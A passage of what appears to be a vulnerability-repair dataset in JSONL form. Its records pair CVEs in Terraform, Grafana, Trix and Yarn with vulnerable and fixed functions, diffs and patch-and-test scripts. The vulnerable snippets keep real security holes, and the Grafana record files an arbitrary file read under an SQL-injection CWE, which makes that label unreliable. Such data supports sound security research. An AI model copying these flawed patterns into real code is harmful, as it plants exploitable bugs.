record.SourceAddr, req.SourceAddr)\n\t\t\t\t\treplace = true\n\t\t\t\tcase record.Version != nil && !req.VersionConstraint.Required.Check(record.Version):\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s version %s no longer compatible with constraints %s\", key, record.Version, req.VersionConstraint.Required)\n\t\t\t\t\treplace = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// If we _are_ planning to replace this module, then we'll remove\n\t\t\t// it now so our installation code below won't conflict with any\n\t\t\t// existing remnants.\n\t\t\tif replace {\n\t\t\t\tif _, recorded := manifest[key]; recorded {\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: discarding previous record of %s prior to reinstall\", key)\n\t\t\t\t}\n\t\t\t\tdelete(manifest, key)\n\t\t\t\t// Deleting a module invalidates all of its descendent modules too.\n\t\t\t\tkeyPrefix := key + \".\"\n\t\t\t\tfor subKey := range manifest {\n\t\t\t\t\tif strings.HasPrefix(subKey, keyPrefix) {\n\t\t\t\t\t\tif _, recorded := manifest[subKey]; recorded {\n\t\t\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: also discarding downstream %s\", subKey)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdelete(manifest, subKey)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\trecord, recorded := manifest[key]\n\t\t\tif !recorded {\n\t\t\t\t// Clean up any stale cache directory that might be present.\n\t\t\t\t// If this is a local (relative) source then the dir will\n\t\t\t\t// not exist, but we'll ignore that.\n\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: cleaning directory %s prior to install of %s\", instPath, key)\n\t\t\t\terr := os.RemoveAll(instPath)\n\t\t\t\tif err != nil && !os.IsNotExist(err) {\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: failed to remove %s: %s\", key, err)\n\t\t\t\t\tdiags = diags.Append(&hcl.Diagnostic{\n\t\t\t\t\t\tSeverity: hcl.DiagError,\n\t\t\t\t\t\tSummary:  \"Failed to remove local module cache\",\n\t\t\t\t\t\tDetail: fmt.Sprintf(\n\t\t\t\t\t\t\t\"Terraform tried to remove %s in order to reinstall this module, but encountered an error: %s\",\n\t\t\t\t\t\t\tinstPath, err,\n\t\t\t\t\t\t),\n\t\t\t\t\t})\n\t\t\t\t\treturn nil, nil, diags\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// If this module is already recorded and its root directory\n\t\t\t\t// exists then we will just load what's already there and\n\t\t\t\t// keep our existing record.\n\t\t\t\tinfo, err := os.Stat(record.Dir)\n\t\t\t\tif err == nil && info.IsDir() {\n\t\t\t\t\tmod, mDiags := i.loader.Parser().LoadConfigDir(record.Dir)\n\t\t\t\t\tif mod == nil {\n\t\t\t\t\t\t// nil indicates an unreadable module, which should never happen,\n\t\t\t\t\t\t// so we return the full loader diagnostics here.\n\t\t\t\t\t\tdiags = diags.Extend(mDiags)\n\t\t\t\t\t} else if vDiags := mod.CheckCoreVersionRequirements(req.Path, req.SourceAddr); vDiags.HasErrors() {\n\t\t\t\t\t\t// If the core version requirements are not met, we drop any other\n\t\t\t\t\t\t// diagnostics, as they may reflect language changes from future\n\t\t\t\t\t\t// Terraform versions.\n\t\t\t\t\t\tdiags = diags.Extend(vDiags)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdiags = diags.Extend(mDiags)\n\t\t\t\t\t}\n\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: Module installer: %s %s already installed in %s\", key, record.Version, record.Dir)\n\t\t\t\t\treturn mod, record.Version, diags\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// If we get down here then it's finally time to actually install\n\t\t\t// the module. There are some variants to this process depending\n\t\t\t// on what type of module source address we have.\n\n\t\t\tswitch addr := req.SourceAddr.(type) {\n\n\t\t\tcase addrs.ModuleSourceLocal:\n\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s has local path %q\", key, addr.String())\n\t\t\t\tmod, mDiags := i.installLocalModule(req, key, manifest, hooks)\n\t\t\t\tmDiags = maybeImproveLocalInstallError(req, mDiags)\n\t\t\t\tdiags = append(diags, mDiags...)\n\t\t\t\treturn mod, nil, diags\n\n\t\t\tcase addrs.ModuleSourceRegistry:\n\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s is a registry module at %s\", key, addr.String())\n\t\t\t\tmod, v, mDiags := i.installRegistryModule(ctx, req, key, instPath, addr, manifest, hooks, fetcher)\n\t\t\t\tdiags = append(diags, mDiags...)\n\t\t\t\treturn mod, v, diags\n\n\t\t\tcase addrs.ModuleSourceRemote:\n\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s address %q will be handled by go-getter\", key, addr.String())\n\t\t\t\tmod, mDiags := i.installGoGetterModule(ctx, req, key, instPath, manifest, hooks, fetcher)\n\t\t\t\tdiags = append(diags, mDiags...)\n\t\t\t\treturn mod, nil, diags\n\n\t\t\tdefault:\n\t\t\t\t// Shouldn't get here, because there are no other implementations\n\t\t\t\t// of addrs.ModuleSource.\n\t\t\t\tpanic(fmt.Sprintf(\"unsupported module source address %#v\", addr))\n\t\t\t}\n\t\t},\n\t)\n}"}], "vul_patch": "--- a/internal/initwd/module_install.go\n+++ b/internal/initwd/module_install.go\n@@ -16,6 +16,13 @@\n \t\t\t\t// Because we descend into modules which have errors, we need\n \t\t\t\t// to look out for this case, but the config loader's\n \t\t\t\t// diagnostics will report the error later.\n+\t\t\t\treturn nil, nil, diags\n+\t\t\t}\n+\n+\t\t\tif !hclsyntax.ValidIdentifier(req.Name) {\n+\t\t\t\t// A module with an invalid name shouldn't be installed at all. This is\n+\t\t\t\t// mostly a concern for remote modules, since we need to be able to convert\n+\t\t\t\t// the name to a valid path.\n \t\t\t\treturn nil, nil, diags\n \t\t\t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-19499", "cve_description": "Grafana <= 6.4.3 has an Arbitrary File Read vulnerability, which could be exploited by an authenticated attacker that has privileges to modify the data source configurations.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/grafana/grafana", "patch_url": ["https://github.com/grafana/grafana/commit/19dbd27c5caa1a160bd5854b65a4e1fe2a8a4f00"], "programing_language": "Go", "vul_func": [{"id": "vul_go_30_1", "commit": "8cf75b4e75be0a3561c4ff1b1cfc884206b30745", "file_path": "pkg/tsdb/mysql/mysql.go", "start_line": 27, "end_line": 72, "snippet": "func newMysqlQueryEndpoint(datasource *models.DataSource) (tsdb.TsdbQueryEndpoint, error) {\n\tlogger := log.New(\"tsdb.mysql\")\n\n\tprotocol := \"tcp\"\n\tif strings.HasPrefix(datasource.Url, \"/\") {\n\t\tprotocol = \"unix\"\n\t}\n\tcnnstr := fmt.Sprintf(\"%s:%s@%s(%s)/%s?collation=utf8mb4_unicode_ci&parseTime=true&loc=UTC&allowNativePasswords=true\",\n\t\tdatasource.User,\n\t\tdatasource.DecryptedPassword(),\n\t\tprotocol,\n\t\tdatasource.Url,\n\t\tdatasource.Database,\n\t)\n\n\ttlsConfig, err := datasource.GetTLSConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif tlsConfig.RootCAs != nil || len(tlsConfig.Certificates) > 0 {\n\t\ttlsConfigString := fmt.Sprintf(\"ds%d\", datasource.Id)\n\t\tif err := mysql.RegisterTLSConfig(tlsConfigString, tlsConfig); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcnnstr += \"&tls=\" + tlsConfigString\n\t}\n\n\tif setting.Env == setting.DEV {\n\t\tlogger.Debug(\"getEngine\", \"connection\", cnnstr)\n\t}\n\n\tconfig := sqleng.SqlQueryEndpointConfiguration{\n\t\tDriverName:        \"mysql\",\n\t\tConnectionString:  cnnstr,\n\t\tDatasource:        datasource,\n\t\tTimeColumnNames:   []string{\"time\", \"time_sec\"},\n\t\tMetricColumnTypes: []string{\"CHAR\", \"VARCHAR\", \"TINYTEXT\", \"TEXT\", \"MEDIUMTEXT\", \"LONGTEXT\"},\n\t}\n\n\trowTransformer := mysqlQueryResultTransformer{\n\t\tlog: logger,\n\t}\n\n\treturn sqleng.NewSqlQueryEndpoint(&config, &rowTransformer, newMysqlMacroEngine(logger), logger)\n}"}], "fix_func": [{"id": "fix_go_30_1", "commit": "19dbd27c5caa1a160bd5854b65a4e1fe2a8a4f00", "file_path": "pkg/tsdb/mysql/mysql.go", "start_line": 31, "end_line": 77, "snippet": "func newMysqlQueryEndpoint(datasource *models.DataSource) (tsdb.TsdbQueryEndpoint, error) {\n\tlogger := log.New(\"tsdb.mysql\")\n\n\tprotocol := \"tcp\"\n\tif strings.HasPrefix(datasource.Url, \"/\") {\n\t\tprotocol = \"unix\"\n\t}\n\n\tcnnstr := fmt.Sprintf(\"%s:%s@%s(%s)/%s?collation=utf8mb4_unicode_ci&parseTime=true&loc=UTC&allowNativePasswords=true\",\n\t\tcharacterEscape(datasource.User, \":\"),\n\t\tcharacterEscape(datasource.DecryptedPassword(), \"@\"),\n\t\tprotocol,\n\t\tcharacterEscape(datasource.Url, \")\"),\n\t\tcharacterEscape(datasource.Database, \"?\"),\n\t)\n\n\ttlsConfig, err := datasource.GetTLSConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif tlsConfig.RootCAs != nil || len(tlsConfig.Certificates) > 0 {\n\t\ttlsConfigString := fmt.Sprintf(\"ds%d\", datasource.Id)\n\t\tif err := mysql.RegisterTLSConfig(tlsConfigString, tlsConfig); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcnnstr += \"&tls=\" + tlsConfigString\n\t}\n\n\tif setting.Env == setting.DEV {\n\t\tlogger.Debug(\"getEngine\", \"connection\", cnnstr)\n\t}\n\n\tconfig := sqleng.SqlQueryEndpointConfiguration{\n\t\tDriverName:        \"mysql\",\n\t\tConnectionString:  cnnstr,\n\t\tDatasource:        datasource,\n\t\tTimeColumnNames:   []string{\"time\", \"time_sec\"},\n\t\tMetricColumnTypes: []string{\"CHAR\", \"VARCHAR\", \"TINYTEXT\", \"TEXT\", \"MEDIUMTEXT\", \"LONGTEXT\"},\n\t}\n\n\trowTransformer := mysqlQueryResultTransformer{\n\t\tlog: logger,\n\t}\n\n\treturn sqleng.NewSqlQueryEndpoint(&config, &rowTransformer, newMysqlMacroEngine(logger), logger)\n}"}, {"id": "fix_go_30_2", "commit": "19dbd27c5caa1a160bd5854b65a4e1fe2a8a4f00", "file_path": "pkg/tsdb/mysql/mysql.go", "start_line": 27, "end_line": 30, "snippet": "func characterEscape(s string, escapeChar string) string {\n\treturn strings.Replace(s, escapeChar, url.QueryEscape(escapeChar), -1)\n}\n"}], "vul_patch": "--- a/pkg/tsdb/mysql/mysql.go\n+++ b/pkg/tsdb/mysql/mysql.go\n@@ -5,12 +5,13 @@\n \tif strings.HasPrefix(datasource.Url, \"/\") {\n \t\tprotocol = \"unix\"\n \t}\n+\n \tcnnstr := fmt.Sprintf(\"%s:%s@%s(%s)/%s?collation=utf8mb4_unicode_ci&parseTime=true&loc=UTC&allowNativePasswords=true\",\n-\t\tdatasource.User,\n-\t\tdatasource.DecryptedPassword(),\n+\t\tcharacterEscape(datasource.User, \":\"),\n+\t\tcharacterEscape(datasource.DecryptedPassword(), \"@\"),\n \t\tprotocol,\n-\t\tdatasource.Url,\n-\t\tdatasource.Database,\n+\t\tcharacterEscape(datasource.Url, \")\"),\n+\t\tcharacterEscape(datasource.Database, \"?\"),\n \t)\n \n \ttlsConfig, err := datasource.GetTLSConfig()\n\n--- /dev/null\n+++ b/pkg/tsdb/mysql/mysql.go\n@@ -0,0 +1,3 @@\n+func characterEscape(s string, escapeChar string) string {\n+\treturn strings.Replace(s, escapeChar, url.QueryEscape(escapeChar), -1)\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-19499:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/grafana\nrm -rf ./pkg/tsdb/mysql/mysql_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestNewMysqlQueryEndpoint_Escape$ github.com/grafana/grafana/pkg/tsdb/mysql\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-19499:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/grafana\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test  -timeout 30s -run ^TestMySQL$ github.com/grafana/grafana/pkg/tsdb/mysql 2>/dev/null"}
{"cve_id": "CVE-2025-21610", "cve_description": "Trix is a what-you-see-is-what-you-get rich text editor for everyday writing. Versions prior to 2.1.12 are vulnerable to cross-site scripting when pasting malicious code in the link field. An attacker could trick the user to copy&paste a malicious `javascript:` URL as a link that would execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed. Users should upgrade to Trix editor version 2.1.12 or later to receive a patch. In addition to upgrading, affected users can disallow browsers that don't support a Content Security Policy (CSP) as a workaround for this and other cross-site scripting vulnerabilities. Set CSP policies such as script-src 'self' to ensure that only scripts hosted on the same origin are executed, and explicitly prohibit inline scripts using script-src-elem.", "cwe_info": {"CWE-79": {"name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "description": "The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users."}}, "repo": "https://github.com/basecamp/trix", "patch_url": ["https://github.com/basecamp/trix/commit/180c8d337f18e1569cea6ef29b4d03ffff5b5faa"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_299_1", "commit": "f4d64c24c82cc4b4810b00dda131bfc2267a79cf", "file_path": "src/trix/controllers/toolbar_controller.js", "start_line": 205, "end_line": 216, "snippet": "  setAttribute(dialogElement) {\n    const attributeName = getAttributeName(dialogElement)\n    const input = getInputForDialog(dialogElement, attributeName)\n    if (input.willValidate && !input.checkValidity()) {\n      input.setAttribute(\"data-trix-validate\", \"\")\n      input.classList.add(\"trix-validate\")\n      return input.focus()\n    } else {\n      this.delegate?.toolbarDidUpdateAttribute(attributeName, input.value)\n      return this.hideDialog()\n    }\n  }"}], "fix_func": [{"id": "fix_js_299_1", "commit": "180c8d337f18e1569cea6ef29b4d03ffff5b5faa", "file_path": "src/trix/controllers/toolbar_controller.js", "start_line": 207, "end_line": 221, "snippet": "  setAttribute(dialogElement) {\n    const attributeName = getAttributeName(dialogElement)\n    const input = getInputForDialog(dialogElement, attributeName)\n\n    input.willValidate && input.setCustomValidity(\"\")\n    if (input.willValidate && !input.checkValidity() || !this.safeAttribute(input)) {\n      input.setCustomValidity(\"Invalid value\")\n      input.setAttribute(\"data-trix-validate\", \"\")\n      input.classList.add(\"trix-validate\")\n      return input.focus()\n    } else {\n      this.delegate?.toolbarDidUpdateAttribute(attributeName, input.value)\n      return this.hideDialog()\n    }\n  }"}, {"id": "fix_js_299_2", "commit": "180c8d337f18e1569cea6ef29b4d03ffff5b5faa", "file_path": "src/trix/controllers/toolbar_controller.js", "start_line": 223, "end_line": 230, "snippet": "  safeAttribute(input) {\n    if (input.hasAttribute(\"data-trix-validate-href\")) {\n      return DOMPurify.isValidAttribute(\"a\", \"href\", input.value)\n    } else {\n      return true\n    }\n  }\n"}], "vul_patch": "--- a/src/trix/controllers/toolbar_controller.js\n+++ b/src/trix/controllers/toolbar_controller.js\n@@ -1,7 +1,10 @@\n   setAttribute(dialogElement) {\n     const attributeName = getAttributeName(dialogElement)\n     const input = getInputForDialog(dialogElement, attributeName)\n-    if (input.willValidate && !input.checkValidity()) {\n+\n+    input.willValidate && input.setCustomValidity(\"\")\n+    if (input.willValidate && !input.checkValidity() || !this.safeAttribute(input)) {\n+      input.setCustomValidity(\"Invalid value\")\n       input.setAttribute(\"data-trix-validate\", \"\")\n       input.classList.add(\"trix-validate\")\n       return input.focus()\n\n--- /dev/null\n+++ b/src/trix/controllers/toolbar_controller.js\n@@ -0,0 +1,7 @@\n+  safeAttribute(input) {\n+    if (input.hasAttribute(\"data-trix-validate-href\")) {\n+      return DOMPurify.isValidAttribute(\"a\", \"href\", input.value)\n+    } else {\n+      return true\n+    }\n+  }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10773", "cve_description": "In Yarn before 1.21.1, the package install functionality can be abused to generate arbitrary symlinks on the host filesystem by using specially crafted \"bin\" keys. Existing files could be overwritten depending on the current user permission set.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/yarnpkg/yarn", "patch_url": ["https://github.com/yarnpkg/yarn/commit/039bafd74b7b1a88a53a54f8fa6fa872615e90e7"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_154_1", "commit": "ac04da8", "file_path": "src/util/normalize-manifest/fix.js", "start_line": 26, "end_line": 333, "snippet": "export default (async function(\n  info: Dict<mixed>,\n  moduleLoc: string,\n  reporter: Reporter,\n  warn: WarnFunction,\n  looseSemver: boolean,\n): Promise<void> {\n  const files = await fs.readdir(moduleLoc);\n\n  // clean info.version\n  if (typeof info.version === 'string') {\n    info.version = semver.clean(info.version, looseSemver) || info.version;\n  }\n\n  // if name or version aren't set then set them to empty strings\n  info.name = info.name || '';\n  info.version = info.version || '';\n\n  // if the man field is a string then coerce it to an array\n  if (typeof info.man === 'string') {\n    info.man = [info.man];\n  }\n\n  // if the keywords field is a string then split it on any whitespace\n  if (typeof info.keywords === 'string') {\n    info.keywords = info.keywords.split(/\\s+/g);\n  }\n\n  // if there's no contributors field but an authors field then expand it\n  if (!info.contributors && files.indexOf('AUTHORS') >= 0) {\n    const authorsFilepath = path.join(moduleLoc, 'AUTHORS');\n    const authorsFilestats = await fs.stat(authorsFilepath);\n    if (authorsFilestats.isFile()) {\n      let authors = await fs.readFile(authorsFilepath);\n      authors = authors\n        .split(/\\r?\\n/g) // split on lines\n        .map((line): string => line.replace(/^\\s*#.*$/, '').trim()) // remove comments\n        .filter((line): boolean => !!line); // remove empty lines\n      info.contributors = authors;\n    }\n  }\n\n  // expand people fields to objects\n  if (typeof info.author === 'string' || typeof info.author === 'object') {\n    info.author = normalizePerson(info.author);\n  }\n  if (Array.isArray(info.contributors)) {\n    info.contributors = info.contributors.map(normalizePerson);\n  }\n  if (Array.isArray(info.maintainers)) {\n    info.maintainers = info.maintainers.map(normalizePerson);\n  }\n\n  // if there's no readme field then load the README file from the cwd\n  if (!info.readme) {\n    const readmeCandidates = files\n      .filter((filename): boolean => {\n        const lower = filename.toLowerCase();\n        return lower === 'readme' || lower.indexOf('readme.') === 0;\n      })\n      .sort((filename1, filename2): number => {\n        // favor files with extensions\n        return filename2.indexOf('.') - filename1.indexOf('.');\n      });\n\n    for (const readmeFilename of readmeCandidates) {\n      const readmeFilepath = path.join(moduleLoc, readmeFilename);\n      const readmeFileStats = await fs.stat(readmeFilepath);\n      if (readmeFileStats.isFile()) {\n        info.readmeFilename = readmeFilename;\n        info.readme = await fs.readFile(readmeFilepath);\n        break;\n      }\n    }\n  }\n\n  // if there's no description then take the first paragraph from the readme\n  if (!info.description && info.readme) {\n    const desc = extractDescription(info.readme);\n    if (desc) {\n      info.description = desc;\n    }\n  }\n\n  // support array of engine keys\n  if (Array.isArray(info.engines)) {\n    const engines = {};\n    for (const str of info.engines) {\n      if (typeof str === 'string') {\n        const [name, ...patternParts] = str.trim().split(/ +/g);\n        engines[name] = patternParts.join(' ');\n      }\n    }\n    info.engines = engines;\n  }\n\n  // if the repository field is a string then assume it's a git repo and expand it\n  if (typeof info.repository === 'string') {\n    info.repository = {\n      type: 'git',\n      url: info.repository,\n    };\n  }\n\n  const repo = info.repository;\n\n  // explode info.repository.url if it's a hosted git shorthand\n  if (repo && typeof repo === 'object' && typeof repo.url === 'string') {\n    repo.url = hostedGitFragmentToGitUrl(repo.url, reporter);\n  }\n\n  // allow bugs to be specified as a string, expand it to an object with a single url prop\n  if (typeof info.bugs === 'string') {\n    info.bugs = {url: info.bugs};\n  }\n\n  // normalize homepage url to http\n  if (typeof info.homepage === 'string') {\n    const parts = url.parse(info.homepage);\n    parts.protocol = parts.protocol || 'http:';\n    if (parts.pathname && !parts.hostname) {\n      parts.hostname = parts.pathname;\n      parts.pathname = '';\n    }\n    info.homepage = url.format(parts);\n  }\n\n  // if the `bin` field is as string then expand it to an object with a single property\n  // based on the original `bin` field and `name field`\n  // { name: \"foo\", bin: \"cli.js\" } -> { name: \"foo\", bin: { foo: \"cli.js\" } }\n  if (typeof info.name === 'string' && typeof info.bin === 'string' && info.bin.length > 0) {\n    // Remove scoped package name for consistency with NPM's bin field fixing behaviour\n    const name = info.name.replace(/^@[^\\/]+\\//, '');\n    info.bin = {[name]: info.bin};\n  }\n\n  // bundleDependencies is an alias for bundledDependencies\n  if (info.bundledDependencies) {\n    info.bundleDependencies = info.bundledDependencies;\n    delete info.bundledDependencies;\n  }\n\n  let scripts: Object;\n\n  // dummy script object to shove file inferred scripts onto\n  if (info.scripts && typeof info.scripts === 'object') {\n    scripts = info.scripts;\n  } else {\n    scripts = {};\n  }\n\n  // if there's a server.js file and no start script then set it to `node server.js`\n  if (!scripts.start && files.indexOf('server.js') >= 0) {\n    scripts.start = 'node server.js';\n  }\n\n  // if there's a binding.gyp file and no install script then set it to `node-gyp rebuild`\n  if (!scripts.install && files.indexOf('binding.gyp') >= 0) {\n    scripts.install = 'node-gyp rebuild';\n  }\n\n  // set scripts if we've polluted the empty object\n  if (Object.keys(scripts).length) {\n    info.scripts = scripts;\n  }\n\n  const dirs = info.directories;\n\n  if (dirs && typeof dirs === 'object') {\n    const binDir = dirs.bin;\n\n    if (!info.bin && binDir && typeof binDir === 'string') {\n      const bin = (info.bin = {});\n      const fullBinDir = path.join(moduleLoc, binDir);\n\n      if (await fs.exists(fullBinDir)) {\n        for (const scriptName of await fs.readdir(fullBinDir)) {\n          if (scriptName[0] === '.') {\n            continue;\n          }\n          bin[scriptName] = path.join('.', binDir, scriptName);\n        }\n      } else {\n        warn(reporter.lang('manifestDirectoryNotFound', binDir, info.name));\n      }\n    }\n\n    const manDir = dirs.man;\n\n    if (!info.man && typeof manDir === 'string') {\n      const man = (info.man = []);\n      const fullManDir = path.join(moduleLoc, manDir);\n\n      if (await fs.exists(fullManDir)) {\n        for (const filename of await fs.readdir(fullManDir)) {\n          if (/^(.*?)\\.[0-9]$/.test(filename)) {\n            man.push(path.join('.', manDir, filename));\n          }\n        }\n      } else {\n        warn(reporter.lang('manifestDirectoryNotFound', manDir, info.name));\n      }\n    }\n  }\n\n  delete info.directories;\n\n  // normalize licenses field\n  const licenses = info.licenses;\n  if (Array.isArray(licenses) && !info.license) {\n    let licenseTypes = [];\n\n    for (let license of licenses) {\n      if (license && typeof license === 'object') {\n        license = license.type;\n      }\n      if (typeof license === 'string') {\n        licenseTypes.push(license);\n      }\n    }\n\n    licenseTypes = licenseTypes.filter(isValidLicense);\n\n    if (licenseTypes.length === 1) {\n      info.license = licenseTypes[0];\n    } else if (licenseTypes.length) {\n      info.license = `(${licenseTypes.join(' OR ')})`;\n    }\n  }\n\n  const license = info.license;\n\n  // normalize license\n  if (license && typeof license === 'object') {\n    info.license = license.type;\n  }\n\n  // get license file\n  const licenseFile = files.find((filename): boolean => {\n    const lower = filename.toLowerCase();\n    return (\n      lower === 'license' || lower.startsWith('license.') || lower === 'unlicense' || lower.startsWith('unlicense.')\n    );\n  });\n  if (licenseFile) {\n    const licenseFilepath = path.join(moduleLoc, licenseFile);\n    const licenseFileStats = await fs.stat(licenseFilepath);\n    if (licenseFileStats.isFile()) {\n      const licenseContent = await fs.readFile(licenseFilepath);\n      const inferredLicense = inferLicense(licenseContent);\n      info.licenseText = licenseContent;\n\n      const license = info.license;\n\n      if (typeof license === 'string') {\n        if (inferredLicense && isValidLicense(inferredLicense) && !isValidLicense(license)) {\n          // some packages don't specify their license version but we can infer it based on their license file\n          const basicLicense = license.toLowerCase().replace(/(-like|\\*)$/g, '');\n          const expandedLicense = inferredLicense.toLowerCase();\n          if (expandedLicense.startsWith(basicLicense)) {\n            // TODO consider doing something to notify the user\n            info.license = inferredLicense;\n          }\n        }\n      } else if (inferredLicense) {\n        // if there's no license then infer it based on the license file\n        info.license = inferredLicense;\n      } else {\n        // valid expression to refer to a license in a file\n        info.license = `SEE LICENSE IN ${licenseFile}`;\n      }\n    }\n  }\n\n  if (typeof info.license === 'string') {\n    // sometimes licenses are known by different names, reduce them\n    info.license = LICENSE_RENAMES[info.license] || info.license;\n  } else if (typeof info.readme === 'string') {\n    // the license might be at the bottom of the README\n    const inferredLicense = inferLicense(info.readme);\n    if (inferredLicense) {\n      info.license = inferredLicense;\n    }\n  }\n\n  // get notice file\n  const noticeFile = files.find((filename): boolean => {\n    const lower = filename.toLowerCase();\n    return lower === 'notice' || lower.startsWith('notice.');\n  });\n  if (noticeFile) {\n    const noticeFilepath = path.join(moduleLoc, noticeFile);\n    const noticeFileStats = await fs.stat(noticeFilepath);\n    if (noticeFileStats.isFile()) {\n      info.noticeText = await fs.readFile(noticeFilepath);\n    }\n  }\n\n  for (const dependencyType of MANIFEST_FIELDS) {\n    const dependencyList = info[dependencyType];\n    if (dependencyList && typeof dependencyList === 'object') {\n      delete dependencyList['//'];\n      for (const name in dependencyList) {\n        dependencyList[name] = dependencyList[name] || '';\n      }\n    }\n  }\n});"}], "fix_func": [{"id": "fix_js_154_1", "commit": "039bafd", "file_path": "src/util/normalize-manifest/fix.js", "start_line": 28, "end_line": 353, "snippet": "export default (async function(\n  info: Dict<mixed>,\n  moduleLoc: string,\n  reporter: Reporter,\n  warn: WarnFunction,\n  looseSemver: boolean,\n): Promise<void> {\n  const files = await fs.readdir(moduleLoc);\n\n  // clean info.version\n  if (typeof info.version === 'string') {\n    info.version = semver.clean(info.version, looseSemver) || info.version;\n  }\n\n  // if name or version aren't set then set them to empty strings\n  info.name = info.name || '';\n  info.version = info.version || '';\n\n  // if the man field is a string then coerce it to an array\n  if (typeof info.man === 'string') {\n    info.man = [info.man];\n  }\n\n  // if the keywords field is a string then split it on any whitespace\n  if (typeof info.keywords === 'string') {\n    info.keywords = info.keywords.split(/\\s+/g);\n  }\n\n  // if there's no contributors field but an authors field then expand it\n  if (!info.contributors && files.indexOf('AUTHORS') >= 0) {\n    const authorsFilepath = path.join(moduleLoc, 'AUTHORS');\n    const authorsFilestats = await fs.stat(authorsFilepath);\n    if (authorsFilestats.isFile()) {\n      let authors = await fs.readFile(authorsFilepath);\n      authors = authors\n        .split(/\\r?\\n/g) // split on lines\n        .map((line): string => line.replace(/^\\s*#.*$/, '').trim()) // remove comments\n        .filter((line): boolean => !!line); // remove empty lines\n      info.contributors = authors;\n    }\n  }\n\n  // expand people fields to objects\n  if (typeof info.author === 'string' || typeof info.author === 'object') {\n    info.author = normalizePerson(info.author);\n  }\n  if (Array.isArray(info.contributors)) {\n    info.contributors = info.contributors.map(normalizePerson);\n  }\n  if (Array.isArray(info.maintainers)) {\n    info.maintainers = info.maintainers.map(normalizePerson);\n  }\n\n  // if there's no readme field then load the README file from the cwd\n  if (!info.readme) {\n    const readmeCandidates = files\n      .filter((filename): boolean => {\n        const lower = filename.toLowerCase();\n        return lower === 'readme' || lower.indexOf('readme.') === 0;\n      })\n      .sort((filename1, filename2): number => {\n        // favor files with extensions\n        return filename2.indexOf('.') - filename1.indexOf('.');\n      });\n\n    for (const readmeFilename of readmeCandidates) {\n      const readmeFilepath = path.join(moduleLoc, readmeFilename);\n      const readmeFileStats = await fs.stat(readmeFilepath);\n      if (readmeFileStats.isFile()) {\n        info.readmeFilename = readmeFilename;\n        info.readme = await fs.readFile(readmeFilepath);\n        break;\n      }\n    }\n  }\n\n  // if there's no description then take the first paragraph from the readme\n  if (!info.description && info.readme) {\n    const desc = extractDescription(info.readme);\n    if (desc) {\n      info.description = desc;\n    }\n  }\n\n  // support array of engine keys\n  if (Array.isArray(info.engines)) {\n    const engines = {};\n    for (const str of info.engines) {\n      if (typeof str === 'string') {\n        const [name, ...patternParts] = str.trim().split(/ +/g);\n        engines[name] = patternParts.join(' ');\n      }\n    }\n    info.engines = engines;\n  }\n\n  // if the repository field is a string then assume it's a git repo and expand it\n  if (typeof info.repository === 'string') {\n    info.repository = {\n      type: 'git',\n      url: info.repository,\n    };\n  }\n\n  const repo = info.repository;\n\n  // explode info.repository.url if it's a hosted git shorthand\n  if (repo && typeof repo === 'object' && typeof repo.url === 'string') {\n    repo.url = hostedGitFragmentToGitUrl(repo.url, reporter);\n  }\n\n  // allow bugs to be specified as a string, expand it to an object with a single url prop\n  if (typeof info.bugs === 'string') {\n    info.bugs = {url: info.bugs};\n  }\n\n  // normalize homepage url to http\n  if (typeof info.homepage === 'string') {\n    const parts = url.parse(info.homepage);\n    parts.protocol = parts.protocol || 'http:';\n    if (parts.pathname && !parts.hostname) {\n      parts.hostname = parts.pathname;\n      parts.pathname = '';\n    }\n    info.homepage = url.format(parts);\n  }\n\n  // if the `bin` field is as string then expand it to an object with a single property\n  // based on the original `bin` field and `name field`\n  // { name: \"foo\", bin: \"cli.js\" } -> { name: \"foo\", bin: { foo: \"cli.js\" } }\n  if (typeof info.name === 'string' && typeof info.bin === 'string' && info.bin.length > 0) {\n    // Remove scoped package name for consistency with NPM's bin field fixing 